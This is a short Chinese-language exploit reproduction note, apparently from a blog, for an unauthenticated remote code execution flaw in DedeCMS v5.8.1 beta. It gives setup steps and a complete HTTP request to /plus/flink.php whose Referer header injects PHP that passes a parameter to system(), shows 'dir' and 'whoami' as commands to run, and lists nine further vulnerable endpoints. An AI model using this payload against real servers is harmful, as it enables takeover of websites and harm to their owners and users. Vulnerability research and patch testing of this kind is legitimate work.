DeDedeCMS v5.8.1 beta 1 内测版前台无条件RCE

风停在窗边嘱咐你要热爱这个世界

---

原文地址：https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html

下载

https://github.com/dedecms/DedeCMS/releases/tag/v5.8.1

搭建

使用 phpstudy ，修改PHP版本为7以上

复现

Exp:

GET /plus/flink.php?dopost=save&c=dir HTTP/1.1
Host: 192.168.1.6
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: <?php "system"($c);die;/*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ru71gg8tjg0f8404rkac6iibid
Connection: close

dir

whoami

其他路径：

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php